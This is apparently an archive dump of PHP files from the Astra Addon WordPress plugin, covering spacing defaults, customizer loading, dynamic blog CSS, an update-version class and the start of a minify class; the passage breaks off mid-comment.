$defaults['primary-submenu-spacing'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '0', 'right' => '20', 'bottom' => '0', 'left' => '30', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['above-header-spacing'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '0', 'right' => '', 'bottom' => '0', 'left' => '', ), 'mobile' => array( 'top' => '0.5', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'em', ); $defaults['above-header-menu-spacing'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '0', 'right' => '20', 'bottom' => '0', 'left' => '20', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['above-header-submenu-spacing'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '0', 'right' => '20', 'bottom' => '0', 'left' => '20', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['below-header-spacing'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '1', 'right' => '', 'bottom' => '1', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'em', 'mobile-unit' => 'px', ); $defaults['below-header-menu-spacing'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '0', 'right' => '20', 'bottom' => '0', 'left' => '20', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['below-header-submenu-spacing'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '0', 'right' => '20', 'bottom' => '0', 'left' => '20', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['footer-menu-spacing'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '0', 'right' => '.5', 'bottom' => '0', 'left' => '.5', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'em', 'mobile-unit' => 'px', ); $defaults['single-post-inside-spacing'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['section-hb-language-switcher-item-spacing'] = array( 'desktop' => array( 'top' => '10', 'right' => '10', 'bottom' => '10', 'left' => '10', ), 'tablet' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['section-fb-language-switcher-item-spacing'] = array( 'desktop' => array( 'top' => '10', 'right' => '10', 'bottom' => '10', 'left' => '10', ), 'tablet' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); return $defaults; } /** * Add postMessage support for site title and description for the Theme Customizer. * * @param WP_Customize_Manager $wp_customize Theme Customizer object. */ public function new_customize_register( $wp_customize ) { /** * Sections */ require_once ASTRA_ADDON_EXT_SPACING_DIR . 'classes/sections/class-astra-customizer-container-layout-spacing-configs.php'; if ( astra_addon_existing_header_footer_configs() ) { require_once ASTRA_ADDON_EXT_SPACING_DIR . 'classes/sections/class-astra-customizer-header-spacing-configs.php'; require_once ASTRA_ADDON_EXT_SPACING_DIR . 'classes/sections/class-astra-customizer-above-header-spacing-configs.php'; require_once ASTRA_ADDON_EXT_SPACING_DIR . 'classes/sections/class-astra-customizer-below-header-spacing-configs.php'; require_once ASTRA_ADDON_EXT_SPACING_DIR . 'classes/sections/class-astra-customizer-footer-small-spacing-configs.php'; require_once ASTRA_ADDON_EXT_SPACING_DIR . 'classes/sections/class-astra-customizer-site-identity-spacing-configs.php'; } else { require_once ASTRA_ADDON_EXT_SPACING_DIR . 'classes/sections/class-astra-customizer-header-builder-menu-configs.php'; } require_once ASTRA_ADDON_EXT_SPACING_DIR . 'classes/sections/class-astra-customizer-sidebar-spacing-configs.php'; require_once ASTRA_ADDON_EXT_SPACING_DIR . 'classes/sections/class-astra-customizer-blog-spacing-configs.php'; require_once ASTRA_ADDON_EXT_SPACING_DIR . 'classes/sections/class-astra-customizer-single-post-spacing-configs.php'; } /** * Customizer Preview */ public function preview_scripts() { if ( SCRIPT_DEBUG ) { wp_enqueue_script( 'astra-ext-spacing-customize-preview-js', ASTRA_ADDON_EXT_SPACING_URL . 'assets/js/unminified/customizer-preview.js', array( 'customize-preview', 'astra-customizer-preview-js' ), ASTRA_EXT_VER, true ); } else { wp_enqueue_script( 'astra-ext-spacing-customize-preview-js', ASTRA_ADDON_EXT_SPACING_URL . 'assets/js/minified/customizer-preview.min.js', array( 'customize-preview', 'astra-customizer-preview-js' ), ASTRA_EXT_VER, true ); } $localize_array = array( 'blog_pro_enabled' => Astra_Ext_Extension::is_active( 'blog-pro' ), 'tablet_break_point' => astra_addon_get_tablet_breakpoint(), 'mobile_break_point' => astra_addon_get_mobile_breakpoint(), 'component_limit' => astra_addon_builder_helper()->component_limit, 'astra_not_updated' => version_compare( ASTRA_THEME_VERSION, '3.2.0', '<' ), ); wp_localize_script( 'astra-ext-spacing-customize-preview-js', 'ast_preview', $localize_array ); } /** * Add Body Classes * * @param array $classes Body Class Array. * @return array */ public function add_body_class( $classes ) { /** * Add class for header width */ $header_content_layout = astra_get_option( 'header-main-layout-width' ); if ( 'full' == $header_content_layout ) { $classes[] = 'ast-full-width-header'; } return $classes; } } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Ext_Spacing_Loader::get_instance(); astra-common-dynamic-css.php 0000666 00000054157 15165730730 0012114 0 ustar 00 <?php /** * Astra Addon Common dynamic CSS. * * @package Astra Addon */ if ( Astra_Ext_Extension::is_active( 'blog-pro' ) ) { add_filter( 'astra_addon_dynamic_css', 'astra_addon_blog_pro_dynamic_css', 9 ); } /** * Dynamic CSS for Single Post Author Info-box * * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * @return string */ function astra_addon_blog_pro_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { /** * - Variable Declaration. */ $is_site_rtl = is_rtl(); $css_output = ''; $theme_color = astra_get_option( 'theme-color' ); $link_color = astra_get_option( 'link-color', $theme_color ); $desktop_max_css = array( // Updated before content value to fix the masonry layout issue. '#content:before' => array( 'content' => '"' . astra_addon_get_tablet_breakpoint() . '"', 'position' => 'absolute', 'overflow' => 'hidden', 'opacity' => '0', 'visibility' => 'hidden', ), '.single .ast-author-details .author-title' => array( 'color' => esc_attr( $link_color ), ), ); if ( true === astra_get_option( 'customizer-default-layout-update', true ) ) { $desktop_max_css['.single.ast-page-builder-template .ast-single-author-box'] = array( 'padding' => '2em 20px', ); $desktop_max_css['.single.ast-separate-container .ast-author-meta'] = array( 'padding' => '3em', ); } /* Parse CSS from array() */ $css_output .= astra_parse_css( $desktop_max_css ); $tablet_max_css = array( // Single Post author info. '.single.ast-separate-container .ast-author-meta' => array( 'padding' => '1.5em 2.14em', ), '.single .ast-author-meta .post-author-avatar' => array( 'margin-bottom' => '1em', ), '.ast-separate-container .ast-grid-2 .ast-article-post, .ast-separate-container .ast-grid-3 .ast-article-post, .ast-separate-container .ast-grid-4 .ast-article-post' => array( 'width' => '100%', ), '.blog-layout-1 .post-content, .blog-layout-1 .ast-blog-featured-section' => array( 'float' => 'none', ), '.ast-separate-container .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section:first-child .square .posted-on' => array( 'margin-top' => 0, ), '.ast-separate-container .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section:first-child .circle .posted-on' => array( 'margin-top' => '1em', ), '.ast-separate-container .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-content .ast-blog-featured-section:first-child .post-thumb-img-content' => array( 'margin-top' => '-1.5em', ), '.ast-separate-container .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-thumb-img-content' => array( 'margin-left' => '-2.14em', 'margin-right' => '-2.14em', ), '.ast-separate-container .ast-article-single.remove-featured-img-padding .single-layout-1 .entry-header .post-thumb-img-content:first-child' => array( 'margin-top' => '-1.5em', ), '.ast-separate-container .ast-article-single.remove-featured-img-padding .single-layout-1 .post-thumb-img-content' => array( 'margin-left' => '-2.14em', 'margin-right' => '-2.14em', ), '.ast-separate-container.ast-blog-grid-2 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .square .posted-on, .ast-separate-container.ast-blog-grid-3 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .square .posted-on, .ast-separate-container.ast-blog-grid-4 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .square .posted-on' => array( 'margin-left' => '-1.5em', 'margin-right' => '-1.5em', ), '.ast-separate-container.ast-blog-grid-2 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .circle .posted-on, .ast-separate-container.ast-blog-grid-3 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .circle .posted-on, .ast-separate-container.ast-blog-grid-4 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .circle .posted-on' => array( 'margin-left' => '-0.5em', 'margin-right' => '-0.5em', ), '.ast-separate-container.ast-blog-grid-2 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section:first-child .square .posted-on, .ast-separate-container.ast-blog-grid-3 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section:first-child .square .posted-on, .ast-separate-container.ast-blog-grid-4 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section:first-child .square .posted-on' => array( 'margin-top' => 0, ), '.ast-separate-container.ast-blog-grid-2 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section:first-child .circle .posted-on, .ast-separate-container.ast-blog-grid-3 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section:first-child .circle .posted-on, .ast-separate-container.ast-blog-grid-4 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section:first-child .circle .posted-on' => array( 'margin-top' => '1em', ), '.ast-separate-container.ast-blog-grid-2 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-content .ast-blog-featured-section:first-child .post-thumb-img-content, .ast-separate-container.ast-blog-grid-3 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-content .ast-blog-featured-section:first-child .post-thumb-img-content, .ast-separate-container.ast-blog-grid-4 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-content .ast-blog-featured-section:first-child .post-thumb-img-content' => array( 'margin-top' => '-1.5em', ), '.ast-separate-container.ast-blog-grid-2 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-thumb-img-content, .ast-separate-container.ast-blog-grid-3 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-thumb-img-content, .ast-separate-container.ast-blog-grid-4 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-thumb-img-content' => array( 'margin-left' => '-1.5em', 'margin-right' => '-1.5em', ), '.blog-layout-2' => array( 'display' => 'flex', 'flex-direction' => 'column-reverse', ), '.ast-separate-container .blog-layout-3, .ast-separate-container .blog-layout-1' => array( 'display' => 'block', ), '.ast-plain-container .ast-grid-2 .ast-article-post, .ast-plain-container .ast-grid-3 .ast-article-post, .ast-plain-container .ast-grid-4 .ast-article-post, .ast-page-builder-template .ast-grid-2 .ast-article-post, .ast-page-builder-template .ast-grid-3 .ast-article-post, .ast-page-builder-template .ast-grid-4 .ast-article-post' => array( 'width' => '100%', ), ); /* Parse CSS from array() -> max-width: (tablet-breakpoint)px */ $css_output .= astra_parse_css( $tablet_max_css, '', astra_addon_get_tablet_breakpoint() ); if ( $is_site_rtl ) { $tablet_max_lang_direction_css = array( '.ast-separate-container .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .square .posted-on' => array( 'margin-top' => 0, 'margin-right' => '-2.14em', ), '.ast-separate-container .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .circle .posted-on' => array( 'margin-top' => 0, 'margin-right' => '-1.14em', ), ); } else { $tablet_max_lang_direction_css = array( '.ast-separate-container .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .square .posted-on' => array( 'margin-top' => 0, 'margin-left' => '-2.14em', ), '.ast-separate-container .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .circle .posted-on' => array( 'margin-top' => 0, 'margin-left' => '-1.14em', ), ); } /* Parse CSS from array() -> max-width: (tablet-breakpoint)px */ $css_output .= astra_parse_css( $tablet_max_lang_direction_css, '', astra_addon_get_tablet_breakpoint() ); /** * Normal blog multiple column layout creates extra spacing around category title, whereas this '-1em' needed when "Add Space Between Posts" optionn is enabled. * * @since 3.5.7 */ $margin_space = astra_get_option( 'blog-space-bet-posts' ) ? '-1em' : '0'; $tablet_min_css = array( '.ast-separate-container.ast-blog-grid-2 .ast-archive-description, .ast-separate-container.ast-blog-grid-3 .ast-archive-description, .ast-separate-container.ast-blog-grid-4 .ast-archive-description' => array( 'margin-bottom' => '1.33333em', ), '.blog-layout-2.ast-no-thumb .post-content, .blog-layout-3.ast-no-thumb .post-content' => array( 'width' => 'calc(100% - 5.714285714em)', ), '.blog-layout-2.ast-no-thumb.ast-no-date-box .post-content, .blog-layout-3.ast-no-thumb.ast-no-date-box .post-content' => array( 'width' => '100%', ), '.ast-separate-container .ast-grid-2 .ast-article-post.ast-separate-posts, .ast-separate-container .ast-grid-3 .ast-article-post.ast-separate-posts, .ast-separate-container .ast-grid-4 .ast-article-post.ast-separate-posts' => array( 'border-bottom' => 0, ), '.ast-separate-container .ast-grid-2 > .site-main > .ast-row, .ast-separate-container .ast-grid-3 > .site-main > .ast-row, .ast-separate-container .ast-grid-4 > .site-main > .ast-row' => array( 'margin-left' => esc_attr( $margin_space ), 'margin-right' => esc_attr( $margin_space ), 'display' => 'flex', 'flex-flow' => 'row wrap', 'align-items' => 'stretch', ), '.ast-separate-container .ast-grid-2 > .site-main > .ast-row:before, .ast-separate-container .ast-grid-2 > .site-main > .ast-row:after, .ast-separate-container .ast-grid-3 > .site-main > .ast-row:before, .ast-separate-container .ast-grid-3 > .site-main > .ast-row:after, .ast-separate-container .ast-grid-4 > .site-main > .ast-row:before, .ast-separate-container .ast-grid-4 > .site-main > .ast-row:after' => array( 'flex-basis' => 0, 'width' => 0, ), '.ast-separate-container .ast-grid-2 .ast-article-post, .ast-separate-container .ast-grid-3 .ast-article-post, .ast-separate-container .ast-grid-4 .ast-article-post' => array( 'display' => 'flex', 'padding' => 0, ), '.ast-plain-container .ast-grid-2 > .site-main > .ast-row, .ast-plain-container .ast-grid-3 > .site-main > .ast-row, .ast-plain-container .ast-grid-4 > .site-main > .ast-row, .ast-page-builder-template .ast-grid-2 > .site-main > .ast-row, .ast-page-builder-template .ast-grid-3 > .site-main > .ast-row, .ast-page-builder-template .ast-grid-4 > .site-main > .ast-row' => array( 'margin-left' => '-1em', 'margin-right' => '-1em', 'display' => 'flex', 'flex-flow' => 'row wrap', 'align-items' => 'stretch', ), '.ast-plain-container .ast-grid-2 > .site-main > .ast-row:before, .ast-plain-container .ast-grid-2 > .site-main > .ast-row:after, .ast-plain-container .ast-grid-3 > .site-main > .ast-row:before, .ast-plain-container .ast-grid-3 > .site-main > .ast-row:after, .ast-plain-container .ast-grid-4 > .site-main > .ast-row:before, .ast-plain-container .ast-grid-4 > .site-main > .ast-row:after, .ast-page-builder-template .ast-grid-2 > .site-main > .ast-row:before, .ast-page-builder-template .ast-grid-2 > .site-main > .ast-row:after, .ast-page-builder-template .ast-grid-3 > .site-main > .ast-row:before, .ast-page-builder-template .ast-grid-3 > .site-main > .ast-row:after, .ast-page-builder-template .ast-grid-4 > .site-main > .ast-row:before, .ast-page-builder-template .ast-grid-4 > .site-main > .ast-row:after' => array( 'flex-basis' => 0, 'width' => 0, ), '.ast-plain-container .ast-grid-2 .ast-article-post, .ast-plain-container .ast-grid-3 .ast-article-post, .ast-plain-container .ast-grid-4 .ast-article-post, .ast-page-builder-template .ast-grid-2 .ast-article-post, .ast-page-builder-template .ast-grid-3 .ast-article-post, .ast-page-builder-template .ast-grid-4 .ast-article-post' => array( 'display' => 'flex', ), '.ast-plain-container .ast-grid-2 .ast-article-post:last-child, .ast-plain-container .ast-grid-3 .ast-article-post:last-child, .ast-plain-container .ast-grid-4 .ast-article-post:last-child, .ast-page-builder-template .ast-grid-2 .ast-article-post:last-child, .ast-page-builder-template .ast-grid-3 .ast-article-post:last-child, .ast-page-builder-template .ast-grid-4 .ast-article-post:last-child' => array( 'margin-bottom' => '2.5em', ), ); if ( true === astra_get_option( 'customizer-default-layout-update', true ) ) { $tablet_min_css['.single .ast-author-meta .ast-author-details'] = array( 'display' => 'flex', 'align-items' => 'center', ); $tablet_min_css['.post-author-bio .author-title'] = array( 'margin-bottom' => '10px', ); } else { $tablet_min_css['.single .ast-author-meta .ast-author-details'] = array( 'display' => 'flex', ); } /* Parse CSS from array() -> min-width: (tablet-breakpoint + 1)px */ $css_output .= astra_parse_css( $tablet_min_css, astra_addon_get_tablet_breakpoint( '', 1 ) ); if ( $is_site_rtl ) { $tablet_min_lang_direction_css = array( '.single .post-author-avatar, .single .post-author-bio' => array( 'float' => 'right', 'clear' => 'left', ), '.single .ast-author-meta .post-author-avatar' => array( 'margin-left' => '1.33333em', ), '.single .ast-author-meta .about-author-title-wrapper, .single .ast-author-meta .post-author-bio' => array( 'text-align' => 'right', ), '.blog-layout-2 .post-content' => array( 'padding-left' => '2em', ), '.blog-layout-2.ast-no-date-box.ast-no-thumb .post-content' => array( 'padding-left' => 0, ), '.blog-layout-3 .post-content' => array( 'padding-right' => '2em', ), '.blog-layout-3.ast-no-date-box.ast-no-thumb .post-content' => array( 'padding-right' => 0, ), '.ast-separate-container .ast-grid-2 .ast-article-post.ast-separate-posts:nth-child(2n+0), .ast-separate-container .ast-grid-2 .ast-article-post.ast-separate-posts:nth-child(2n+1), .ast-separate-container .ast-grid-3 .ast-article-post.ast-separate-posts:nth-child(2n+0), .ast-separate-container .ast-grid-3 .ast-article-post.ast-separate-posts:nth-child(2n+1), .ast-separate-container .ast-grid-4 .ast-article-post.ast-separate-posts:nth-child(2n+0), .ast-separate-container .ast-grid-4 .ast-article-post.ast-separate-posts:nth-child(2n+1)' => array( 'padding' => '0 0 0 1em', ), ); } else { $tablet_min_lang_direction_css = array( '.single .post-author-avatar, .single .post-author-bio' => array( 'float' => 'left', 'clear' => 'right', ), '.single .ast-author-meta .post-author-avatar' => array( 'margin-right' => '1.33333em', ), '.single .ast-author-meta .about-author-title-wrapper, .single .ast-author-meta .post-author-bio' => array( 'text-align' => 'left', ), '.blog-layout-2 .post-content' => array( 'padding-right' => '2em', ), '.blog-layout-2.ast-no-date-box.ast-no-thumb .post-content' => array( 'padding-right' => 0, ), '.blog-layout-3 .post-content' => array( 'padding-left' => '2em', ), '.blog-layout-3.ast-no-date-box.ast-no-thumb .post-content' => array( 'padding-left' => 0, ), '.ast-separate-container .ast-grid-2 .ast-article-post.ast-separate-posts:nth-child(2n+0), .ast-separate-container .ast-grid-2 .ast-article-post.ast-separate-posts:nth-child(2n+1), .ast-separate-container .ast-grid-3 .ast-article-post.ast-separate-posts:nth-child(2n+0), .ast-separate-container .ast-grid-3 .ast-article-post.ast-separate-posts:nth-child(2n+1), .ast-separate-container .ast-grid-4 .ast-article-post.ast-separate-posts:nth-child(2n+0), .ast-separate-container .ast-grid-4 .ast-article-post.ast-separate-posts:nth-child(2n+1)' => array( 'padding' => '0 1em 0', ), ); } /* Parse CSS from array() -> min-width: (tablet-breakpoint + 1)px */ $css_output .= astra_parse_css( $tablet_min_lang_direction_css, astra_addon_get_tablet_breakpoint( '', 1 ) ); $mobile_css = array( '.ast-separate-container .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section:first-child .circle .posted-on' => array( 'margin-top' => '0.5em', ), '.ast-separate-container .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-thumb-img-content, .ast-separate-container .ast-article-single.remove-featured-img-padding .single-layout-1 .post-thumb-img-content, .ast-separate-container.ast-blog-grid-2 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .square .posted-on, .ast-separate-container.ast-blog-grid-3 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .square .posted-on, .ast-separate-container.ast-blog-grid-4 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .square .posted-on' => array( 'margin-left' => '-1em', 'margin-right' => '-1em', ), '.ast-separate-container.ast-blog-grid-2 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .circle .posted-on, .ast-separate-container.ast-blog-grid-3 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .circle .posted-on, .ast-separate-container.ast-blog-grid-4 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .circle .posted-on' => array( 'margin-left' => '-0.5em', 'margin-right' => '-0.5em', ), '.ast-separate-container.ast-blog-grid-2 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section:first-child .circle .posted-on, .ast-separate-container.ast-blog-grid-3 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section:first-child .circle .posted-on, .ast-separate-container.ast-blog-grid-4 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section:first-child .circle .posted-on' => array( 'margin-top' => '0.5em', ), '.ast-separate-container.ast-blog-grid-2 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-content .ast-blog-featured-section:first-child .post-thumb-img-content, .ast-separate-container.ast-blog-grid-3 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-content .ast-blog-featured-section:first-child .post-thumb-img-content, .ast-separate-container.ast-blog-grid-4 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-content .ast-blog-featured-section:first-child .post-thumb-img-content' => array( 'margin-top' => '-1.33333em', ), '.ast-separate-container.ast-blog-grid-2 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-thumb-img-content, .ast-separate-container.ast-blog-grid-3 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-thumb-img-content, .ast-separate-container.ast-blog-grid-4 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-thumb-img-content' => array( 'margin-left' => '-1em', 'margin-right' => '-1em', ), '.ast-separate-container .ast-grid-2 .ast-article-post .blog-layout-1, .ast-separate-container .ast-grid-2 .ast-article-post .blog-layout-2, .ast-separate-container .ast-grid-2 .ast-article-post .blog-layout-3' => array( 'padding' => '1.33333em 1em', ), '.ast-separate-container .ast-grid-3 .ast-article-post .blog-layout-1, .ast-separate-container .ast-grid-4 .ast-article-post .blog-layout-1' => array( 'padding' => '1.33333em 1em', ), '.single.ast-separate-container .ast-author-meta' => array( 'padding' => '1.5em 1em', ), ); /* Parse CSS from array() -> max-width: (mobile-breakpoint)px */ $css_output .= astra_parse_css( $mobile_css, '', astra_addon_get_mobile_breakpoint() ); if ( $is_site_rtl ) { $mobile_max_direction_css = array( '.ast-separate-container .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .square .posted-on' => array( 'margin-right' => '-1em', ), '.ast-separate-container .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .circle .posted-on' => array( 'margin-right' => '-0.5em', ), ); } else { $mobile_max_direction_css = array( '.ast-separate-container .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .square .posted-on' => array( 'margin-left' => '-1em', ), '.ast-separate-container .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .circle .posted-on' => array( 'margin-left' => '-0.5em', ), ); } /* Parse CSS from array() -> max-width: (mobile-breakpoint)px */ $css_output .= astra_parse_css( $mobile_max_direction_css, '', astra_addon_get_mobile_breakpoint() ); return $dynamic_css . $css_output; } class-astra-addon-update.php 0000666 00000003234 15165730730 0012052 0 ustar 00 <?php /** * Astra Addon Update * * @package Astra Addon */ if ( ! class_exists( 'Astra_Addon_Update' ) ) { /** * Astra_Addon_Update initial setup * * @since 1.0.0 */ class Astra_Addon_Update { /** * Class instance. * * @var $instance Class instance. */ private static $instance; /** * Initiator */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { // Theme Updates. add_action( 'astra_update_before', __CLASS__ . '::init' ); } /** * Implement addon update logic. * * @since 1.0.0 * @return void */ public static function init() { do_action( 'astra_addon_update_before' ); // Get auto saved version number. $saved_version = self::astra_addon_stored_version(); // If there is no saved version in the database then return. if ( false === $saved_version ) { return; } // If equals then return. if ( version_compare( $saved_version, ASTRA_EXT_VER, '=' ) ) { return; } } /** * Return Astra Addon saved version. */ public static function astra_addon_stored_version() { $theme_options = get_option( 'astra-settings' ); $value = ( isset( $theme_options['astra-addon-auto-version'] ) && '' !== $theme_options['astra-addon-auto-version'] ) ? $theme_options['astra-addon-auto-version'] : false; return $value; } } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Addon_Update::get_instance(); class-astra-minify.php 0000666 00000060667 15165730730 0011015 0 ustar 00 <?php /** * Minify Loader Class * * @package Astra * @link https://www.brainstormforce.com * @since Astra 1.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'Astra_Minify' ) ) { /** * Astra_Minify */ // @codingStandardsIgnoreStart class Astra_Minify { // @codingStandardsIgnoreEnd /** * WordPress Filesystem * * @since 1.0 * @var bool $_in_customizer_preview */ private static $astra_addon_filesystem = null; /** * Directory Info * * @since 1.0 * @var bool $_dir_info */ private static $_dir_info = null; // phpcs:ignore PSR2.Classes.PropertyDeclaration.Underscore /** * A flag for whether or not we're in a Customizer * preview or not. * * @since 1.0 * @var bool $_in_customizer_preview */ private static $_in_customizer_preview = false; // phpcs:ignore PSR2.Classes.PropertyDeclaration.Underscore /** * The prefix for the option that is stored in the * database for the cached CSS file key. * * @since 1.0 * @var string $_css_key */ private static $_css_key = 'astra_theme_css_key'; // phpcs:ignore PSR2.Classes.PropertyDeclaration.Underscore /** * The prefix for the option that is stored in the * database for the cached JS file key. * * @since 1.0 * @var string $_js_key */ private static $_js_key = 'astra_theme_js_key'; // phpcs:ignore PSR2.Classes.PropertyDeclaration.Underscore /** * Additional CSS to enqueue. * * @since 1.0 * @var array $css */ private static $css_files = array(); /** * Additional JS to enqueue. * * @since 1.0 * @var array $js */ private static $js_files = array(); /** * Additional dependent JS to enqueue. * * @since 1.0 * @var array $js */ private static $dependent_js_files = array(); /** * Instance * * @since 1.6.0 * * @var object Class object. */ private static $instance; /** * Initiator * * @since 1.6.0 * * @return object initialized object of class. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Construct */ public function __construct() { add_action( 'customize_preview_init', __CLASS__ . '::preview_init', 11 ); add_action( 'customize_save_after', __CLASS__ . '::refresh_assets', 11 ); add_action( 'astra_addon_activated', __CLASS__ . '::refresh_assets', 11 ); add_action( 'astra_addon_deactivated', __CLASS__ . '::refresh_assets', 11 ); add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_scripts' ) ); if ( version_compare( ASTRA_THEME_VERSION, '3.6.8', '>' ) ) { add_action( 'astra_addon_get_js_files', array( $this, 'add_fronted_pro_script' ) ); } } /** * Enqueue 